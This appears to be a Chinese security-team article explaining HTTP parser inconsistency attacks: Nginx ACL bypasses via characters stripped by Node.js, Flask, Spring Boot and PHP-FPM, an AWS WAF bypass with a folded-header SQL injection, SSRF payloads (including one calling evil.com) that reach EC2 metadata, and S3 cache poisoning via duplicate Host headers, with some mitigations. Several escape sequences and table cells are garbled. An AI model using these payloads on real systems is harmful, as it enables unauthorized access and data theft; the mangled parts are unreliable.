前言
HTTP协议在Web应用程序的运行中至关重要,然而在不同技术中HTTP解析器可能为HTTP异步攻击打开窗口,导致潜在的安全漏洞。
本文将从负载均衡器、反向代理等实例出发,做详细说明。
路径名操纵实现反向代理等规则绕过
函数差异性
Web 服务器中的路径名操纵所产生的可利用漏洞,主要由trim()或strip()函数导致[strip()与trim()本质相同]
不同的语言在调用相应的strip()函数时会删除不同的字符。例如:Python使用strip()函数删除x85字符:
而JavaScript的trim()函数则不会删除它:
同时也可以看到,在Node.js规则中xa0将被删除,这在稍后将被利用。
Nginx ACL规则
在Nginx中,Location规则充当路由和处理传入 HTTP 请求的关键组件,允许控制不同 URL 的处理方式:
在这里,Location为根路径的请求提供处理规则,包括指定索引文件、错误页面等设置。
在如下代码中,Nginx将拒绝对/admin端点的所有访问,若用户访问此端点,Nginx 将返回403并且不会将 HTTP 消息传递到 Web 服务:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
为了防止基于 URI 的规则出现安全问题,Nginx 在执行路径规范化后再检查URL。该过程涉及从 URL 路径中删除冗余或不必要的元素,例如额外的斜杠、点段、处理路径遍历和 URL 编码字符。
利用 Node.js 绕过 Nginx ACL 规则
通过以上两个内容的讲解,你或许知道了利用点:由于的Nginx由C编写,其并不能涵盖所有语言的所有字符,故可利用不一致字符实现路径操纵。
设存在如下Nginx ACL 规则和 Node.js API 源代码:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
app.get('/admin', (req, res) => {
return res.send('ADMIN');
});
此时访问端点/admin,回显403:
利用字符xa0成功访问端点admin:
流程如下:
1、Nginx接受HTTP请求,并对/adminxa0进行路径规范化
2、由于 Nginx 将字符xa0作为路径名的一部分,因此/adminxa0不会触发 URI 的 ACL 规则。
3、Nginx将HTTP消息转发给后端
4、Node.js 服务器收到URI 时,xa0将被删除,故端点/admin被成功检索。
利用表格如下:
Nginx 版本 | Node.js 绕过字符 |
---|---|
1.22.0 | xA0 |
1.21.6 | xA0 |
1.20.2 | xA0 , x09 ,x0C |
1.18.0 | xA0 , x09 ,x0C |
1.16.1 | xA0 , x09 ,x0C |
利用 Flask 绕过 Nginx ACL 规则
Flask在执行规范化操作时从 URL 路径中删除字符x85, xA0, x1F, x1E, x1D, x1C, x0C, x0B, 和x09,但 Nginx 不会。
设存在如下Nginx ACL 规则和 Flask API 源代码:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
app.get('/admin', (req, res) => {
return res.send('ADMIN');
});
路径操纵步骤如上,此次使用x85进行绕过,给出回显:
利用表格如下:
Nginx 版本 | Flask 绕过字符 |
---|---|
1.22.0 | x85 ,xA0 |
1.21.6 | x85 ,xA0 |
1.20.2 | x85 ,,,,,,,,,, xA0 _ x1F _ x1E _ x1D _ x1C _ x0C _x0B |
1.18.0 | x85 ,,,,,,,,,, xA0 _ x1F _ x1E _ x1D _ x1C _ x0C _x0B |
1.16.1 | x85 ,,,,,,,,,, xA0 _ x1F _ x1E _ x1D _ x1C _ x0C _x0B |
利用 Spring Boot 绕过 Nginx ACL 规则
Spring在执行规范化操作时从 URL 路径中删除字符x09、t和x3B,但 Nginx 不会。
设存在如下Nginx ACL 规则和 Spring Boot 源代码:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
@GetMapping("/admin")
public String admin() {
return "Greetings from Spring Boot!";
}
路径操纵步骤如上,此次使用t进行绕过,给出回显:
利用表格如下:
Nginx 版本 | Spring Boot 绕过字符 |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | x09 ,; |
1.18.0 | x09 ,; |
1.16.1 | x09 ,; |
利用 PHP-FPM 集成绕过 Nginx ACL 规则
在Nginx与PHP-FPM的结合中,Nginx 充当反向代理,接收传入的 HTTP 请求并将其传递给 PHP-FPM 进行处理,以此提高 PHP 执行的速度和效率。
设存在如下Nginx FPM 配置:
location = /admin.php {
deny all;
}
location ~ .php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
当两个.php文件位于 HTTP 请求的同一路径名中时,FPM 将匹配第一个文件,忽略斜杠之后的所有内容。
也就是说访问/ice.php/fhsec.php时,路径中的/fhsec.php将被忽略,从而实现对/ice.php的访问。
由于 Nginx 配置为阻止对admin.php的请求,因此可以通过执行以下请求来访问 admin.php 文件:
该漏洞的利用前提为:第二个文件存在于服务器结构中。
预防措施
特殊字符在Nginx中被忽略已成既定,预防方法则为:在ACL规则中使用~
表达式而不是=
location ~* ^/admin {
deny all;
}
这样,任何含有/admin的字符串的请求将被阻止。
利用折行实现AWS WAF ACL 绕过
在AWS中,AWS WAF ACL是一组规则,用于允许或拒绝对 Web 应用程序的访问请求。当 Web 请求到达 AWS WAF 时,ACL 将会根据事先定义的规则进行匹配。如果匹配成功,ACL 将会根据规则的定义执行相应的操作。
像 Node.js、Flask 等许多 Web 服务器有时会遇到一种现象,称为”折行”。折行是指使用字符 x09(制表符)和 x20(空格)将长标头值分割成多行以提高可读性的做法。
例如,在下面的请求中,标头 1337: Valuernt1337 将被 Node.js 服务器解释为 1337: Valuet1337:
GET / HTTP/1.1
Host: target.com
1337: Value
1337
Connection: close
如果构造请求包如下:
GET / HTTP/1.1rn
Host: target.comrn
X-Query: rn
x09' or '1'='1' -- rn
Connection: closern
rn
该请求包在经过WAF时,恶意Payload并不会被拦截,而是被传递至Nginx服务器,而x09被Nginx忽略,从而导致请求包在服务端被解析为:
GET / HTTP/1.1
Host: target.com
X-Query:' or '1'='1' --
Connection: close
实例如下:
可以看到 Node.js 将字符 ‘ or ‘1’=’1′ –解释为 X-Query 标头的值。然而,AWS WAF 将其视为标头名称而不是标头值。
利用路径解析错误实现SSRF
通常,有效的 HTTP 路径名以 / 或 http(s)://domain/ 开头,但是大多数流行的 WEB 服务器没有正确验证它。
SSRF On Flask
对 Flask 的路径名解析进行测试,发现Flask接受字符@。例如,以下 HTTP 请求被Flask框架视为有效,但服务器响应404 Not Found:
GET @/ HTTP/1.1
Host: target.com
Connection: close
设存在某一代码段如下:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://ice.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
如果在 SITE_NAME 变量中没有添加最后一个斜杠,或许可导致SSRF。
简要解释一下,如果没有添加最后一个斜杠,基本URL被视为:
https://ice.com,此时加上指定路径时并不受当前路径的限制。但是,如果在 SITE_NAME 变量中添加了最后一个斜杠,那么基本URL就会被视为:https://ice.com/,此时,任何进一步添加的路径都会被视为相对于基本URL的路径。即/passwd.txt将会被解释为 https://ice.com/passwd.txt,即访问ice.com下的passwd.txt内容。
由于 Flask 也允许在 @ 后面使用任何 ASCII 字符,因此可以在连接恶意路径名和目标服务器后获取任意域。
如图,回显EC2元数据:
SSRF On Spring Boot
在 HTTP 路径名的第一个斜杠之前,Spring 框架允许使用;
作为matrix参数分隔符,如下请求被视为合法:
GET ;2024/api/v1/ice HTTP/1.1
Host: target.com
Connection: close
显而易见,若服务器使用完整的请求路径名来获取一个端点,可能导致SSRF。
设存在代码段如下:
"/") (
public Map<String, String> list( Map<String, String> headers) {
return headers;
}
"/url") (
public String getURLValue(HttpServletRequest request) throws IOException {
String site = "http://ifconfig.me";
String uri = request.getRequestURI();
URL url = new URL(site + uri.toString());
String response = getSource(url);
return response;
}
private String getSource(URL url) throws IOException {
URLConnection spoof = url.openConnection();
StringBuffer sb = new StringBuffer();
spoof.setRequestProperty("User-Agent", "SpringApp");
BufferedReader in = new BufferedReader(new InputStreamReader(spoof.getInputStream()));
String strLine = "";
while ((strLine = in.readLine()) != null) {
sb.append(strLine);
}
return sb.toString();
}
该代码中第一个方法用于返回HTTP请求头信息,第二个方法获取外部网站(http://ifconfig.me)的数据并返回结果。
Spring 允许在 Matrix 参数分隔符后面添加任何字符,因此也可以使用@来获取任意端点。
Payload:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
SSRF On PHP内置Web服务器
PHP允许在路径名的第一个斜杠之前和斜杠之间使用星号*字符,几乎所有ASCII字符都被视为有效的HTTP请求。如何构造SSRF无需多言。
但该法存在如下限制:
1、只能用于根路径名/,即受漏洞影响的代码必须位于index.php文件中;
2、第一个斜杠之前不允许出现点.
,这限制了包含任意IP和域名,为了规避这个问题,有效载荷必须包含不带点的十六进制编码的恶意域名的IP地址。可使用所给链接工具生成:https://gist.github.com/mhmdiaa/2587e2330b87db99c81ace2a190e235f
设存在PHP代码如下:
$site = "http://ice.com";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "nn";
$response = file_get_contents($proxy_site);
var_dump($response);
代码功能为:将获取到的当前URI添加到ice.com后面并进行访问。
Payload:
GET *@十六进制编码/ HTTP/1.1
Host: target.com
Connection: close
如图,回显EC2元数据:
预防措施
1、将 URL 域与用户输入连接时,使用完整的 URL 域。例如,确保在域名后面添加尾部斜杠,例如http://ice.com/
2、通常,只有在使用框架且没有额外的反向代理来验证 HTTP 路径名的情况下,才会出现上述漏洞。故合并反向代理可以增强 Web 应用程序的安全性。
HTTP异步缓存攻击
在解释头名称之前,需要从头名称中删除无效的不可见字符,但在该操作中,服务器和反向代理之间存在不一致。
在开始攻击前,先了解一下缓存服务器中的相关概念。
当ice初次向缓存服务器访问ice.com时,缓存服务器中并无ice.com的缓存记录,因此需要向源服务器发送请求获取ice.com的内容。缓存服务器将返回的内容存储在缓存中,以便日后被访问。
当ice第二次向缓存服务器访问ice.com时,由于缓存服务器已经存储了ice.com的内容,ice可以直接从缓存中获取ice.com的信息。
在这里面,ice.com就作为缓存键,用于充当允许访问缓存内容的引用或标签。
除了URL路径名之外,另一个默认的缓存键是Host头。设一个缓存的JavaScript文件位于https://ice.com/static/ice.js,ice向该URL发送请求时,缓存服务器将返回响应。
然而,如果ice发送一个HTTP请求到相同的端点,但修改了Host头为2024.target.com,缓存服务器将尝试使用2024.target.com作为host头,来检索后端的/static/ice.js,并为该特定的HTTP消息生成一个存储响应。
HTTP异步缓存攻击 On S3
在 Amazon AWS S3 存储桶中,Host头可以协助请求路由到正确的存储桶以及实现对存储内容的正确访问。
当向S3存储桶发出请求时,AWS会检查Host头以确定目标存储桶。因此,如果用户向域名A.s3.amazonaws.com发送HTTP请求,但将host头更改为ice.s3.amazonaws.com,则AWS在内部将忽略域名,仅获取Host头中指定的存储桶。这是云服务中常见的做法。
基于以上做法,当在请求中包含多个Host头时,服务器仅采用第一个,其它都将被忽略。
初步构造Payload:
GET / HTTP/1.1
Host: evilbucket.com
Host: example.bucket.com
Connection: close
同时注意到,如果Host头中存在以下字节,则将被忽略:x1f, x1d, x0c, x1e, x1c, x0b
如果缓存服务器将被忽略的字节包括在Host头中,将其视为无效的host头;而S3并不将被忽略的字节包括在Host头中,故可缓存任意S3存储桶。
最终Payload:
GET /xxx.xxx HTTP/1.1
[x1d]Host: evilbucket.com
Host: example.bucket.com
Connection: close
实战附图:
流程如下:
1、请求包到达缓存服务器时,缓存服务器将[x1d]Host: evilbucket.com视为无效,跳过。
2、缓存服务器将example.bucket.com视为有效,最终的缓存响应与此主机值相关联。
3、请求包到达S3存储桶时,[x1d]Host: evilbucket.com被视为有效,第二个host头被忽略。
4、example.bucket.com的页面返回evilbucket.com的S3存储桶缓存。
本公众号不承担任何由于传播、利用本公众号所发布内容而造成的任何后果及法律责任。未经许可,不得转载。
芳华绝代安全团队现已推出Web安全渗透教程,欢迎学习:https://space.bilibili.com/602205041
原文始发于微信公众号(芳华绝代安全团队):HTTP解析器不一致性攻击精讲